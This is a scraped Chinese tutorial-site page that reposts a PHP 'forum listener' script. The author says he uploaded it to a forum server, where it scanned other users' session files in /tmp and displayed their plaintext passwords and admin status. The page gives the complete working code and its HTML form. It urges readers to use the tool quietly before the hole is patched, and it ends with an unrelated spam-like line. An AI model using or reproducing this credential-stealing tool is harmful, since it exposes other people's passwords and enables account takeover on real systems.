<form id="hz9zz"></form>
    • <form id="hz9zz"></form>
    

      

      <nobr id="hz9zz"></nobr>
      <form id="hz9zz"></form>
      3.   
          
      明輝手游網中心：是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺！
                   
        
                           
        
                        		  
        
                 
              
                
      一個查看session內容的函數：
                
                  發表時間：2023-07-30             來源：明輝站整理相關軟件相關文章人氣：          
              
      [摘要]之所以是能寫出來這個函數，主要是對該網站的session結構清楚，如：name s:4:"tasm";passwd s:6:"111111";mode s:1...
      之所以是能寫出來這個函數，主要是對該網站的session結構清楚，如：name s:4:"tasm";passwd s:6:"111111";mode s:1:"1"，也知道該session存放的位置，而且可以上傳文件，所以嘛，當時就做了一次小小的黑客，在線的朋友的密碼可以一覽無余，呵呵：
      <? 
      function submit1(){ 
      global $username; 
      print "<title>論壇監聽器</title>"; 
      $i=0; 
      if($username=="tasm"  $username=="Tasm") 
      { 
      print "你也太黑了吧？連我你也查？"; 
      return; 
      } 
      $path="/tmp/"; 
      $d = dir($path); 
      while($entry=$d->read()){ 
      if(substr($entry,0,4)=="sess"){ 
      $entry=$path.$entry; 
      $ary=@file($entry); 
      if(!empty($ary[0])){ 
      $ary = explode(";",$ary[0]); 
      $name= explode(":",$ary[0]); 
      if($name[2]=="\"".$username."\""){ 
      $passwd= explode(":",$ary[1]); 
      $mode=explode(":",$ary[3]); 
      print "用戶筆名:".$name[2]."<br>使用密碼:".$passwd[2]."<br>使用模式:"; 
      if($mode[1]==1) 
      print "<font color=red>管理員</font>"; 
      else 
      print "一般用戶"; 
      print"<br><br>偷竊他人密碼是不道德行為請少少為之<br>"; 
      $i=1; 
      break; 
      }}}} 
      if(!$i) 
      print "用戶:".$username."真的在線嗎？如你確定，<a href='javascript:history.go(-1)'>請再來一次</a>，不要多打空格！"; 
      $d->close(); 
      } 

      function login(){ 
      ?> 
      <html> 
      <head> 
      <title>論壇監聽器</title> 
      <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
      </head> 
      <body bgcolor="#FFFFFF"> 
      <div align="center"> 
      <p>論壇監聽器 </p> 
      <p> </p> 
      <table width="500" border="0" cellspacing="0" cellpadding="0"> 
      <tr> 
      <td colspan="2">當你看到一用戶在線時你想看他的密碼，你要如何作呢？</td> 
      </tr> 
      <tr> 
      <td colspan="2">讓我來告訴你：就是使用本程序。</td> 
      </tr> 
      <tr> 
      <td colspan="2"><font color=red>鄭重申明:本程序為自由程序，由它所造成的任何損失本人蓋不負責。</font> 
      <br>不過這個問題也許很快就會被堵上,個位還是不要張揚的偷著用吧。</td> 
      </tr> 
       
      <form name="form1" method="post" action="<?print $PHP_SELF ?>" > 
      <p>請輸入你要查的用戶名：<br> 
      <input type="text" name="username"> 
      </p> 
      <p> 
      <input type="submit" name="submit1" value="我同意以上申明,開始查找"> 
      </p> 
      </form> 
      <p> </p> 
      </div> 
      </body> 
      </html> 
      <? 
      } 
      //--------------main() 
      if($submit1) 
      submit1(); 
      else 
      login(); 
      ?> 

      后來網管把/tmp給改了.....
      hoho~~~~


              
              
                 
              
                                            
                              		       
                          
                           		  
        
                            
      
日韩精品一区二区三区高清